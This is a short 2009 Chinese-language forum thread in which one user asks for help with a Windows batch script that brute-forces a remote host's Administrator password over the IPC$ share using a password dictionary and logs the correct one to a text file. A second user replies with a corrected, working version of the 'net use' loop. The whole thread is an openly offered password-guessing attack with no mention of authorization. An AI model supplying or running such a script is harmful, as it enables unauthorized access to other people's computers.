Board logo

标题: 如何实现自动记录结果 [打印本页]

作者: caifujing     时间: 2009-4-13 04:16    标题: 如何实现自动记录结果

想用字典爆破远程主机的登陆密码,希望得到正确密码时,能自动记录到d:\mima.txt,写代码如下(完整的一长条):
for /f %%a in (pass.txt) do net use \\主机IP\ipc$ %%a /u:"Administrator" |  find"命令成功完成" echo %%a>>d:\mima.txt
结果在d:\mima.txt里面记录的是“echo状态打开”
又用下面的命令:
for /f %%a in (pass.txt) do net use \\主机IP\ipc$ %%a /u:"Administrator"
if not errorlevel 1 echo %%a>>d:\mima.txt
我想实现的是:如果成功,他的返回码为0,显示密码的结果,并记录下来;否则他的返回码都会大于1的

大家帮我看看,问题出在哪里?
作者: lcz456245     时间: 2009-4-14 03:58    标题: 试一下这个程序

cd c:\
for /f %%a in (pass.txt) do (net use \\username\ipc$ "%%a" /user:"Administrator"
if not errorlevel 1 echo %%a>>c:\mima.txt)
pause
net use \\username\IPc$ /del
pause